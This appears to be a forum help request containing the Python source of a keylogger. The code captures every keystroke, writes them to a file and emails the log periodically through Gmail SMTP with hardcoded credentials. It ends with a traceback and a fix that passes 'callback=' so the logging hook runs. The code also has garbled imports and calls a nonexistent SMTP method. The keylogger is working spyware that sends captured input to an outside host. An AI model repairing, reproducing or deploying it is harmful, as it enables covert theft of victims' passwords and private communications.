i have problem with my code, what i do correct? What is wrong with keyboard_callback?
> import keyboard
> import smtplib from threading
> import Semaphore, Timer
>
> REPORT_TIME = 1200
> EMAIL_ADDRESS = "mail95069a@gmail.com"
> EMAIL_PASSWORD = "password123"
>
> class Keylogger:
> def __init__(self, interval):
> self.interval = interval
> self.log = ""
> self.semaphore = Semaphore(0)
>
> def keyboard_callback(self, event):
> name = event.name
> if len(name) > 1:
> if name == "space":
> name = " "
> elif name == "enter":
> name = "[ENTER]\n"
> elif name == "decimal":
> name = "."
> else:
> name = name.replace(" ", "_")
> name = f"[{name.upper()}]"
>
> self.log += name
> output = open("output.txt", "w+")
> output.write(self.log)
>
> def send_gmail(self, email, password, message):
> server = smtplib.SMTP(host="smtp.gmail.com", port=587)
> server.starttls()
> server.login(email, password)
> server.send_gmail(email, email, message)
> server.quit()
>
> def report(self):
> if self.log:
> self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
> self.log = ""
> Timer(interval=self.interval, function=self.report).start()
>
> def start(self):
> keyboard.on_release(keyboard_callback=self.keyboard_callback)
> self.report()
> self.semaphore.acquire()
>
>
> if __name__ == "__main__":
> keylogger = Keylogger(interval=REPORT_TIME)
> keylogger.start()
Traceback (most recent call last):
Process finished with exit code 1 File "C:/Users/Keylogger.py", line 58, in
keylogger.start()
File "C:/Users/Keylogger.py", line 51, in start
keyboard.on_release(keyboard_callback=self.keyboard_callback)
TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'
...
def start(self):
keyboard.on_release(callback=self.keyboard_callback)
self.report()
self.semaphore.acquire()
...